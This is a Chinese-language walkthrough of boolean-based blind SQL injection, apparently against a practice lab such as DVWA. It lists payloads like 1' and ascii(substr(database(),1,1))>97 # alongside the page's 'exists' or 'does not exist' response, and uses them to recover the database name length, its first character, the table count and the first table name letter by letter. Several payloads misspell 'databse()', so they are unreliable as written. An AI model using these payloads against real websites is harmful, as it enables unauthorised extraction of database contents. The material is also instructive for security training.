猜解当前数据库名
输入 1 ’ and length(database())=1 # ,显示不存在;
输入 1 ’ and length(database())=2 # ,显示不存在;
输入 1 ’ and length(database())=3 # ,显示不存在;
输入 1 ’ and length(database())=4 # ,显示存在:
采用二分法猜解数据库名
输入 1’ and ascii(substr(databse(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97 (小写字母 a 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122 (小写字母 z 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109 (小写字母 m 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103 (小写字母 g 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100 (小写字母 d 的 ascii 值);
输入 1’ and ascii(substr(databse(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100 (小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100 ,即小写字母 d 。
猜解数据库中的表名
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #显示存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
说明第一个表名长度为 9 。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。